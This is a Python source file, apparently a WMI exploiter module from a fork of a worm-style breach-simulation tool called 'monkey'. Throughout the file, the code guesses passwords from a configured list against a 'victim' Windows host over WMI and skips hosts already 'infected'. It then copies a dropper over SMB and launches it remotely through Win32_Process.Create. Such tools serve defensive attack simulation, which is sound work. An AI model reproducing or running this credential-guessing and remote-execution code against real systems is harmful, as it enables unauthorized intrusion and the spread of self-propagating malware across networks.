forked from p15670423/monkey
100 lines
4.1 KiB
Python
100 lines
4.1 KiB
Python
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import socket
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import ntpath
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import logging
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import traceback
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from model import DROPPER_CMDLINE, MONKEY_CMDLINE
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from model.host import VictimHost
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from exploit import HostExploiter
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from exploit.tools import SmbTools, WmiTools, AccessDeniedException
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LOG = logging.getLogger(__name__)
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class WmiExploiter(HostExploiter):
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def __init__(self):
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self._config = __import__('config').WormConfiguration
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@WmiTools.dcom_wrap
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def exploit_host(self, host, src_path):
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assert isinstance(host, VictimHost)
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passwords = list(self._config.psexec_passwords[:])
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known_password = host.get_credentials(self._config.psexec_user)
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if known_password is not None:
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if known_password in passwords:
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passwords.remove(known_password)
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passwords.insert(0, known_password)
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for password in passwords:
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LOG.debug("Attempting to connect %r using WMI with password '%s'",
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host, password)
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wmi_connection = WmiTools.WmiConnection()
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try:
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wmi_connection.connect(host,
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self._config.psexec_user,
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password)
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except AccessDeniedException:
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LOG.debug("Failed connecting to %r using WMI with password '%s'",
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host, password)
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continue
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except socket.error, exc:
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LOG.debug("Network error in WMI connection to %r with password '%s' (%s)",
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host, password, exc)
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return False
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except Exception, exc:
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LOG.debug("Unknown WMI connection error to %r with password '%s' (%s):\n%s",
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host, password, exc, traceback.format_exc())
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return False
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host.learn_credentials(self._config.psexec_user, password)
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# query process list and check if monkey already running on victim
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process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
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fields=("Caption", ),
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where="Name='%s'" % ntpath.split(src_path)[-1])
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if process_list:
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wmi_connection.close()
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LOG.debug("Skipping %r - already infected", host)
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return False
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# copy the file remotely using SMB
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remote_full_path = SmbTools.copy_file(host,
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self._config.psexec_user,
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password,
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src_path,
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self._config.dropper_target_path)
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if not remote_full_path:
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wmi_connection.close()
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return False
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# execute the remote dropper in case the path isn't final
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if remote_full_path.lower() != self._config.dropper_target_path.lower():
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cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
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else:
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cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
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# execute the remote monkey
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result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
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ntpath.split(remote_full_path)[0],
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None)
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if (0 != result.ProcessId) and (0 == result.ReturnValue):
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LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
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remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
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success = True
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else:
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LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
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remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
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success = False
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result.RemRelease()
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wmi_connection.close()
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return success
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return False
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